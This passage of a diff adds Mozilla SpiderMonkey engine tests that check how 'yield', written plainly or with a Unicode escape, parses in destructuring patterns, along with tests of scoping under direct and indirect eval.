+var {yield = 0} = {yield: "yield-with-coverinitname"};
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ var {a: yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ var {yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ var {yield = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+{
+ let {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ let {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ let {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ let {a: yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ let {yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ let {yield = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+{
+ const {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ const {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ const {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ const {a: yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ const {yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ const {yield = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+({a: yield} = {a: "yield-with-name"});
+assertEq(yield, "yield-with-name");
+
+({yield} = {yield: "yield-with-shorthand"});
+assertEq(yield, "yield-with-shorthand");
+
+({yield = 0} = {yield: "yield-with-coverinitname"});
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ({a: yield} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ({yield} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ({yield = 0} = {});
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-function.js b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-function.js
new file mode 100644
index 0000000000..349badeaf7
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-function.js
@@ -0,0 +1,182 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+(function() {
+ var {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+
+ var {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+
+ var {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ var {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ var {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ var {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+(function(){
+ let {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ let {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ let {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ let {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ let {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ let {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+(function() {
+ const {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ const {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ const {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ const {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ const {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ const {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+(function({a: yi\u0065ld} = {a: "yield-with-name"}) {
+ assertEq(yield, "yield-with-name");
+})();
+
+(function({yi\u0065ld} = {yield: "yield-with-shorthand"}) {
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function({yi\u0065ld = 0} = {yield: "yield-with-coverinitname"}) {
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f({a: yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f({yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f({yi\u0065ld = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+(function() {
+ var a, yield;
+
+ ({a: yi\u0065ld} = {a: "yield-with-name"});
+ assertEq(yield, "yield-with-name");
+
+ ({yi\u0065ld} = {yield: "yield-with-shorthand"});
+ assertEq(yield, "yield-with-shorthand");
+
+ ({yi\u0065ld = 0} = {yield: "yield-with-coverinitname"});
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ ({a: yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ ({yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ ({yi\u0065ld = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-generator.js b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-generator.js
new file mode 100644
index 0000000000..faa3563914
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-generator.js
@@ -0,0 +1,200 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ var {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ var {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ var {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ var {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ var {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ var {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ let {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ let {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ let {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ let {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ let {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ let {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ const {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ const {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ const {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ const {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ const {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ const {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g({a: yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g({yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g({yi\u0065ld = 0} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g({a: yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g({yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g({yi\u0065ld = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ({a: yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ({yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ({yi\u0065ld = 0} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ({a: yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ({yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ({yi\u0065ld = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-script.js b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-script.js
new file mode 100644
index 0000000000..65352a66cf
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-script.js
@@ -0,0 +1,123 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+var {a: yi\u0065ld} = {a: "yield-with-name"};
+assertEq(yield, "yield-with-name");
+
+var {yi\u0065ld} = {yield: "yield-with-shorthand"};
+assertEq(yield, "yield-with-shorthand");
+
+var {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ var {a: yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ var {yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ var {yi\u0065ld = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+{
+ let {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ let {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ let {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ let {a: yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ let {yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ let {yi\u0065ld = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+{
+ const {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ const {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ const {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ const {a: yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ const {yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ const {yi\u0065ld = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+({a: yi\u0065ld} = {a: "yield-with-name"});
+assertEq(yield, "yield-with-name");
+
+({yi\u0065ld} = {yield: "yield-with-shorthand"});
+assertEq(yield, "yield-with-shorthand");
+
+({yi\u0065ld = 0} = {yield: "yield-with-coverinitname"});
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ({a: yi\u0065ld} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ({yi\u0065ld} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ({yi\u0065ld = 0} = {});
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/eval/browser.js b/js/src/tests/non262/eval/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/eval/browser.js
diff --git a/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-normalcode.js b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-normalcode.js
new file mode 100644
index 0000000000..1a4b56c635
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-normalcode.js
@@ -0,0 +1,208 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 42);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+assertEq(resultsY.global3, 42);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, 42);
+assertEq(resultsY.local4, 42);
+assertEq(resultsY.global4, 42);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+assertEq(resultsY.global5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-strictcode.js b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-strictcode.js
new file mode 100644
index 0000000000..7bd4ea6585
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-strictcode.js
@@ -0,0 +1,210 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-normalcode.js b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-normalcode.js
new file mode 100644
index 0000000000..d75496fa51
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-normalcode.js
@@ -0,0 +1,208 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 4);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 4);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 23);
+
+
+function testY()
+{
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
